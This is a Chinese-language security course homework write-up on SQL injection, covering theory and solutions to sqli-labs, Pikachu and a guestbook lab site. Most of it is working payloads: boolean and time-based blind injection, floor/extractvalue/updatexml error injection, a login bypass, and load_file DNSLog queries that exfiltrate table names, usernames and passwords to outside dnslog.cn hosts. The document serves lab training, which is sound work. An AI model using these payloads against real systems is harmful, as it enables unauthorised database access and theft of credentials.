web安全作業(SQL隱碼攻擊)
理論作業
1.什麼是盲注?盲注的型別?
2.報錯注入常用的函式有哪些?請分別解釋其用法?
3.時間盲注的payload構造方法?用到的函式及其用法?
4.DNS Log注入原理?前提條件及應用場景分別是什麼?
1. 開發人員遮蔽了報錯資訊,導致攻擊者無法透過報錯資訊進行注入的判斷,這種情況的注入即為盲注。盲注分為時間型盲注和boolean型盲注。
2.報錯注入的常用函式:
updatexml(),extractvalue(),floor(),exp()
ps:updatexml()和extractvalue()是MySQL對xml文件資料進行查詢的XPATH函式你
3.時間盲注的payload構造方法:if(expr1,expr2,expr3),對expr1進行布林判斷,利用sleep()或benchmark()函式延長MySQL執行時間,與if搭配使用
4.DNSLog注入原理:
(1) 攻擊者先向web伺服器提交payload語句,比如(select load_file(concat('\\\\','攻擊語句',.XXX.ceye.io\\abc)))
(2) 其中的攻擊語句被放到資料庫中會被執行,生成的結果與後面的.XXX.ceye.io\\abc構成一個新的域名
(3) 這時load_file()就可以發起請求,那麼這一條帶有資料庫查詢結果的域名就被提交到DNS伺服器進行解析
(4) 此時,如果我們可以檢視DNS伺服器上的Dnslog就可以得到SQL隱碼攻擊結果。那麼我們如何獲得這條DNS查詢記錄呢?注意注入語句中的ceye.io,這其實是一個開放的Dnslog平臺(具體用法在官網可見),在http://ceye.io上我們可以獲取到有關ceye.io的DNS查詢資訊。實際上在域名解析的過程中,是由頂級域名向下逐級解析的,我們構造的攻擊語句也是如此,當它發現域名中存在ceye.io時,它會將這條域名資訊轉到相應的NS伺服器上,而透過http://ceye.io我們就可以查詢到這條DNS解析記錄。
(5)DNSlog平臺:
http://ceye.io
http://www.dnslog.cn
使用場景:SQL盲注,命令執行(無回顯),XSS(無回顯),SSRF(無回顯)
前提條件:load_file()函式可以使用,that means,配置檔案my.ini中,secure_file_priv=''
實踐作業
任務1:sqli-labs靶場:Less-8 GET - Blind - Boolean Based - Single Quotes (布林型單引號GET盲注)
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php
任務2:
Less-9 GET - Blind - Time based. - Single Quotes (基於時間的GET單引號盲注)
Less-10 GET - Blind - Time based - double quotes (基於時間的雙引號盲注)
任務3:使用floor()函式對less-2、less-3、less4進行報錯注入
任務4:使用extractvalue()函式對less-5進行報錯注入
任務5:使用updatexml()函式對less-6進行報錯注入
任務6:挖掘book網站的SQL隱碼攻擊漏洞並進行驗證
任務一
布林型單引號GET盲注(Less-8)
判斷資料庫長度
說明資料庫長度為8,然後開始判斷庫名id=1' and substr(database(),1,1)='s'--+/id=1' and ascii(substr(database(),1,1))>114--+
重複多次後即可得出資料庫名為security
然後開始猜表名,手工注入方法和上面大同小異
length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5 //正常,>6異常
然後ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100//正常,>101異常
以此類推可以得出第一張表為emails,接著是referers,uagents,users
之後就是獲取欄位名和資料,方法類似
length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>=2
substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'
最後得出為:id,username,password
同理判斷資料:length((select username from security.users limit 0,1))>=4
substr((select username from security.users limit 0,1),1,1)='D'
手工注入很麻煩,這裡可以使用工具,比如burp
pikachu基於boolean的盲注
首先判斷資料庫的長度,因為使用union select 1,2--+沒有回顯,所以用盲注
length(database())>6 //長度為7
接著使用allen' and ascii(substr(database(),1,1))=112 ,使用burp爆破
根據ascii可以得出庫名為pikachu
之後爆表名,欄位名和資料都是同樣的操作
任務二
基於時間的GET單引號盲注(Less-9)
頁面既不回顯資料,也不會回顯錯誤資訊,真假也不提示,只能透過構造語句看頁面響應時間,id=1' and sleep(5)
爆資料庫名:if(substr(database(),1,1)='s',sleep(3),1)
這裡除了手動注入,也可以直接用工具爆破,得到security
然後接著爆表名,欄位和資料
id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(3),1)
得到表名emails,reeferers,uagents,users,同理爆欄位和資料
if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(3),1)
if(substr((select username from security.users limit 0,1),1,1)='D',sleep(3),1) //select語句中小寫d也行
基於時間的雙引號盲注(Less-10)
跟第九關類似,只是把單引號改成了雙引號
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+
仿照less-9依次爆破即可
這裡可以DNSlog注入
非常快就爆出資料庫名了,然後開始爆表名等,注意判斷長度就行
Less-10/index.php?id=1" and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema='security' limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+
爆欄位和資料
Less-10/index.php?id=1" and (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+
Less-10/index.php?id=1" and (select load_file(concat("//",(select password from security.users limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+
任務三
使用floor()函式對less-2、less-3、less4進行報錯注入
Less-2 GET - Error based - Intiger based
使用floor函式進行報錯注入:
?id=1 union select 1,count(),concat_ws('-',(select database()),floor(rand(0)2))x from information_schema.tables group by x
之後爆表名,欄位名和資料,大致模板不變,只需改動中間部分類容
select table_name from information_schema.tables where table_schema=database() limit 3,1
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
select username from security.users limit 0,1
Less-3 Error based - Single quotes with twist - string
操作和Less-2一樣,只是這裡是單引號加括號的注入
Less-3/index.php?id=1') union select 1,count(),concat_ws('-',(select username from security.users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x --+
Less-4 GET - Error based - Double Quotes - string
首先注入判斷,發現是雙引號加括號
然後和上面一樣,進行報錯注入即可
任務4
使用extractvalue()函式對less-5進行報錯注入
less-5是單引號注入,且id=1' order by 3--+
所以 id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+
然後是爆表名等
id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))-- +
同理爆欄位名和資料
id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))-- +
爆資料時,因為該函式只顯示32位字元,所以使用substring()函式
id=1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,0x7e,password),1,30) from security.users)))-- +
任務5
使用updatexml()函式對less-6進行報錯注入
less-6注入判斷後是雙引號
然後報錯注入id=1" and 1=updatexml(1,concat(0x7e,(select database())),3)--+
爆表名concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))
爆欄位名concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))
爆資料concat(0x7e,(select substring(group_concat(username,0x7e,password),1,30) from security.users))
任務6
挖掘book網站的SQL隱碼攻擊漏洞並進行驗證
輸入admin,admin登入抓包,傳送到repeater模組
在使用者名稱裡輸入1' or 1=1-- 顯示登陸成功,1=2的登陸失敗,1'登陸失敗並報錯,說明存在漏洞
然後開始漏洞注入,試了一下後,發現報錯注入不顯示錯誤資訊,同時也不回顯資料,涉及跳轉頁面,時間盲注能感覺到,但是看不到具體時間資料,所以推測為布林盲注
在使用者名稱裡輸入:1' or length(database())>8-- (>9登陸失敗,所以長度為9)
然後猜資料庫名
1' or substr(database(),1,1)='g'-- 顯示登陸成功,這裡可以使用burp爆破
最後得到資料庫為guestbook
剩下的就如法炮製
1' or substr((select table_name from information_schema.tables where table_schema='guestbook' limit 0,1),1,1)='m'--
最後得到表名為message和user
同理得到欄位和資料
select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 0,1
select username from guestbook.user limit 0,1
也可以DNSlog注入
1' or (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 0,1),".kwtpow.dnslog.cn/1.txt")))--
1' or (select load_file(concat("//",(select username from guestbook.user limit 0,1),".kwtpow.dnslog.cn/1.txt")))--